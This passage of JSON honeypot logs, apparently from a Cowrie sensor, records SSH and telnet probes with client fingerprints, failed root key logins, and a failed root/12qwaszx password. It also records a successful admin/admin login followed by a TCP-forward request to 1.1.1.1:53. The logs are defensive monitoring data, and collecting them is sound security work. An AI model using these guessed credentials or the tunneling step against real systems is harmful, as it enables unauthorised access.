openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:56.927734Z","src_ip":"217.23.12.21","session":"291c65eb4ae3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:0e:b4:01:b0:f8:d3:b8:f9:39:87:74:b9:4e:73:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLmpRbFnZI2f9SH7L/mKXQxRf+HXWAdVdGqRITmMd5qc6TP7stFI4SdGq99zqAJqQIZcCkrA41xwYa7oXqKH3tUPtuRtyyKSht8Akl1kB+DmHxv6Ujg53/SCmmCDepYDj3QgmIhn70EYKg6QW4ruQlkX0PrqNLtRRN+ffrP2sRqJL5StX3CWQe5XiypQnaUVlbGTt+Y0BJ37oT+xWwQ5STtINSLTK5HWw4olQUKt9o/iOpe7gNXpG99ouQEtx3SppsWHA66Ve6PhxvmGp/6stR2aLYOunzhVohNiCLWTEvJM7m7os+x/isYonkQstan5NXBfn/7DVg3L9zfQqVFpBD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:0e:b4:01:b0:f8:d3:b8:f9:39:87:74:b9:4e:73:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:57.349678Z","src_ip":"217.23.12.21","session":"291c65eb4ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:0e:b4:01:b0:f8:d3:b8:f9:39:87:74:b9:4e:73:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLmpRbFnZI2f9SH7L/mKXQxRf+HXWAdVdGqRITmMd5qc6TP7stFI4SdGq99zqAJqQIZcCkrA41xwYa7oXqKH3tUPtuRtyyKSht8Akl1kB+DmHxv6Ujg53/SCmmCDepYDj3QgmIhn70EYKg6QW4ruQlkX0PrqNLtRRN+ffrP2sRqJL5StX3CWQe5XiypQnaUVlbGTt+Y0BJ37oT+xWwQ5STtINSLTK5HWw4olQUKt9o/iOpe7gNXpG99ouQEtx3SppsWHA66Ve6PhxvmGp/6stR2aLYOunzhVohNiCLWTEvJM7m7os+x/isYonkQstan5NXBfn/7DVg3L9zfQqVFpBD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:57.353881Z","src_ip":"217.23.12.21","session":"291c65eb4ae3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:bf:be:b0:53:6e:df:4c:44:eb:d3:15:78:ef:fb:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNchNJo7NBmnXNpVrMFkpD3RX9Fq5XT1brOZfAclcvPUNGXsbqJM6HMmzQu0OnHiGgW5uMuKdDZEw5c5T3fZyEEBmdVdJvGZ5+u6cTypE9d1tAtwKMGQbmXgOJvVK3nSFqILmdDgp49Q4lAMv8ZwcbhW3c5Mjzquv0FTeT5Rjy1i80zFvTBivzBuCQ1Qk8lWIOsjIpeRpR2DrafQ8BiYp8QFAl3Uecg/TOzl5zSwIJHikcNNd7MNbXrWQDqe+aEhxXQHQk4M5C4FGVwJGRAuTOQ6cdCiGU65uIfaviO1AnTSlbb0cgUO+k/IXnfAR1dNrDWnG2dwgJvIv/DDtq60Uh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:bf:be:b0:53:6e:df:4c:44:eb:d3:15:78:ef:fb:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:57.443715Z","src_ip":"217.23.12.21","session":"291c65eb4ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:bf:be:b0:53:6e:df:4c:44:eb:d3:15:78:ef:fb:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNchNJo7NBmnXNpVrMFkpD3RX9Fq5XT1brOZfAclcvPUNGXsbqJM6HMmzQu0OnHiGgW5uMuKdDZEw5c5T3fZyEEBmdVdJvGZ5+u6cTypE9d1tAtwKMGQbmXgOJvVK3nSFqILmdDgp49Q4lAMv8ZwcbhW3c5Mjzquv0FTeT5Rjy1i80zFvTBivzBuCQ1Qk8lWIOsjIpeRpR2DrafQ8BiYp8QFAl3Uecg/TOzl5zSwIJHikcNNd7MNbXrWQDqe+aEhxXQHQk4M5C4FGVwJGRAuTOQ6cdCiGU65uIfaviO1AnTSlbb0cgUO+k/IXnfAR1dNrDWnG2dwgJvIv/DDtq60Uh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:57.447585Z","src_ip":"217.23.12.21","session":"291c65eb4ae3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:7b:8a:d4:92:b6:99:4b:53:93:7b:ba:f9:d2:4a:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+dgxaniMnJA5EOMB6JW/RXBRLC1hnTSn4BBh5cNXDBhacn21pZscT9o16VyLYZtcn06mj2XUKXSI9RXok3xmB+m9qtkDiQZKLqzxhd3mR1gghE+k5qz9sYOV/a/pcBk77I4mo+edE5Zf8t1JuyoEuFI93LSaO4KckCXfB/cVm/g2TptsXMOg4aMFgN8J2l0ty/mk+Gqc3YIVOegvyBrrz6O+/mnobvgPwqC1IwaV6spAKGMZthgr9Hc5ZWujMChDyXs0AuC5SXxCS1MQ2CEaWGzWtMW8SaKsPmDIRoovuI3hjO2Gi8k0J7rfqTexgTxVhW5iLDcEIWJpJM5p7HJFv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:7b:8a:d4:92:b6:99:4b:53:93:7b:ba:f9:d2:4a:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:57.537071Z","src_ip":"217.23.12.21","session":"291c65eb4ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:7b:8a:d4:92:b6:99:4b:53:93:7b:ba:f9:d2:4a:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+dgxaniMnJA5EOMB6JW/RXBRLC1hnTSn4BBh5cNXDBhacn21pZscT9o16VyLYZtcn06mj2XUKXSI9RXok3xmB+m9qtkDiQZKLqzxhd3mR1gghE+k5qz9sYOV/a/pcBk77I4mo+edE5Zf8t1JuyoEuFI93LSaO4KckCXfB/cVm/g2TptsXMOg4aMFgN8J2l0ty/mk+Gqc3YIVOegvyBrrz6O+/mnobvgPwqC1IwaV6spAKGMZthgr9Hc5ZWujMChDyXs0AuC5SXxCS1MQ2CEaWGzWtMW8SaKsPmDIRoovuI3hjO2Gi8k0J7rfqTexgTxVhW5iLDcEIWJpJM5p7HJFv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:57.541278Z","src_ip":"217.23.12.21","session":"291c65eb4ae3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:21:b6:6d:8a:f1:96:83:a9:4d:92:18:cd:9e:db:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7XJ1xCRdMlafRP7NQXi5e/1Gcm7Y2RBQCrv5W+iOlEQJxJX2mpaFekwcH5C5w/hCl+tNC+Nir9oGC8zc1gA0We7hNmve1jAFFhJG6ClAo/vHswUYW1lY0BaqqdS/CuV6T6pOD/ZNPXeGvYUzBki0Aemq8CGNq2zGJFaic/1ONz34YMFHNF+7B9PNJ+Ri/9Mv164aVc0sfOzsrzgsHH2AfQGkoEE3FHvXs61ZudYchnspDxE5drK8eMANfaeHpNM7BefhBk1N1d5nOEuWl03xZqDCT31fyMEfRCG2lTn2sJGoK9V12YujiB0zzTEQYEvYA7q+HMpgCXXo1odw7gPo0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:21:b6:6d:8a:f1:96:83:a9:4d:92:18:cd:9e:db:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:57.633982Z","src_ip":"217.23.12.21","session":"291c65eb4ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:21:b6:6d:8a:f1:96:83:a9:4d:92:18:cd:9e:db:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7XJ1xCRdMlafRP7NQXi5e/1Gcm7Y2RBQCrv5W+iOlEQJxJX2mpaFekwcH5C5w/hCl+tNC+Nir9oGC8zc1gA0We7hNmve1jAFFhJG6ClAo/vHswUYW1lY0BaqqdS/CuV6T6pOD/ZNPXeGvYUzBki0Aemq8CGNq2zGJFaic/1ONz34YMFHNF+7B9PNJ+Ri/9Mv164aVc0sfOzsrzgsHH2AfQGkoEE3FHvXs61ZudYchnspDxE5drK8eMANfaeHpNM7BefhBk1N1d5nOEuWl03xZqDCT31fyMEfRCG2lTn2sJGoK9V12YujiB0zzTEQYEvYA7q+HMpgCXXo1odw7gPo0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:57.638886Z","src_ip":"217.23.12.21","session":"291c65eb4ae3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:bf:35:91:d6:9d:0a:87:e4:a5:e0:cc:4c:5a:de:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9tDZ4jFE9g8CF5mzViEkhuw1UtFTeaWieH/baCorc5c5GR9FJT8XwICJQ58oCeaLPi7VI3UkJMEMLYUgSF+FG6SXCKzBOCgUZoAbKyd8eLb5ZH4RH9R8IK0fhdaHN5snYkJv2gp7ojDCs/xpLPfyG5LYdknrwGrNJ62MIg2ZP0VVWlyCy8ebAabeO7TXcC2SYj2HyqUT775BknNfMQM+8Z5KVnEE0pfxpk+MUELBKmU5BTFiX96Tl+ZbV8VduLvM/tLqWxOxvLd8nvnW7IPk+P0WSAu7hEmRKRGIBtK5UYQjf6y1DK5t6Yjeqvr1tEYTc20kZLq5/x5XGe1TtAvBj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:bf:35:91:d6:9d:0a:87:e4:a5:e0:cc:4c:5a:de:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:57.729143Z","src_ip":"217.23.12.21","session":"291c65eb4ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:bf:35:91:d6:9d:0a:87:e4:a5:e0:cc:4c:5a:de:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9tDZ4jFE9g8CF5mzViEkhuw1UtFTeaWieH/baCorc5c5GR9FJT8XwICJQ58oCeaLPi7VI3UkJMEMLYUgSF+FG6SXCKzBOCgUZoAbKyd8eLb5ZH4RH9R8IK0fhdaHN5snYkJv2gp7ojDCs/xpLPfyG5LYdknrwGrNJ62MIg2ZP0VVWlyCy8ebAabeO7TXcC2SYj2HyqUT775BknNfMQM+8Z5KVnEE0pfxpk+MUELBKmU5BTFiX96Tl+ZbV8VduLvM/tLqWxOxvLd8nvnW7IPk+P0WSAu7hEmRKRGIBtK5UYQjf6y1DK5t6Yjeqvr1tEYTc20kZLq5/x5XGe1TtAvBj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:57.733700Z","src_ip":"217.23.12.21","session":"291c65eb4ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:57.824592Z","src_ip":"217.23.12.21","session":"291c65eb4ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":41756,"dst_ip":"10.17.0.5","dst_port":22,"session":"68cbdceab041","protocol":"ssh","message":"New connection: 87.251.64.176:41756 (10.17.0.5:22) [session: 68cbdceab041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:22:27.388076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:22:27.393110Z","src_ip":"87.251.64.176","session":"68cbdceab041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:22:27.493299Z","src_ip":"87.251.64.176","session":"68cbdceab041","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:22:27.794119Z","src_ip":"87.251.64.176","session":"68cbdceab041","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:22:27.893632Z","session":"68cbdceab041","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:22:27.992566Z","src_ip":"87.251.64.176","session":"68cbdceab041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:22:28.096354Z","src_ip":"87.251.64.176","session":"68cbdceab041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00261044502258,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:22:38.457896Z","src_ip":"212.55.149.117","session":"b92fea83ad64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2daff1ee372","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: e2daff1ee372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:23:37.287600Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:23:37.399456Z","src_ip":"77.90.185.16","session":"e2daff1ee372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":23412,"dst_ip":"159.203.135.109","dst_port":22,"session":"313c2d04440b","protocol":"ssh","message":"New connection: 194.59.206.2:23412 (159.203.135.109:22) [session: 313c2d04440b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:23:42.399705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:23:42.452440Z","src_ip":"194.59.206.2","session":"313c2d04440b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:23:42.496307Z","src_ip":"194.59.206.2","session":"313c2d04440b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:23:42.672458Z","src_ip":"194.59.206.2","session":"313c2d04440b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.215.146.181","src_port":37696,"dst_ip":"10.17.0.5","dst_port":23,"session":"34522764c6d1","protocol":"telnet","message":"New connection: 91.215.146.181:37696 (10.17.0.5:23) [session: 34522764c6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:24:04.091542Z"}
{"eventid":"cowrie.session.closed","duration":12.665576696395874,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:24:16.756989Z","src_ip":"91.215.146.181","session":"34522764c6d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":40290,"dst_ip":"10.17.0.5","dst_port":22,"session":"03524835ed3d","protocol":"ssh","message":"New connection: 103.15.226.202:40290 (10.17.0.5:22) [session: 03524835ed3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:24:40.942943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:24:40.947854Z","src_ip":"103.15.226.202","session":"03524835ed3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:24:41.202201Z","src_ip":"103.15.226.202","session":"03524835ed3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:24:41.955880Z","src_ip":"103.15.226.202","session":"03524835ed3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:24:43.209245Z","src_ip":"103.15.226.202","session":"03524835ed3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.167.198.92","src_port":47364,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fa7be4df350","protocol":"ssh","message":"New connection: 43.167.198.92:47364 (159.203.135.109:22) [session: 2fa7be4df350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:25:05.061057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:25:05.289245Z","src_ip":"43.167.198.92","session":"2fa7be4df350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:25:05.486835Z","src_ip":"43.167.198.92","session":"2fa7be4df350","protocol":"ssh"}
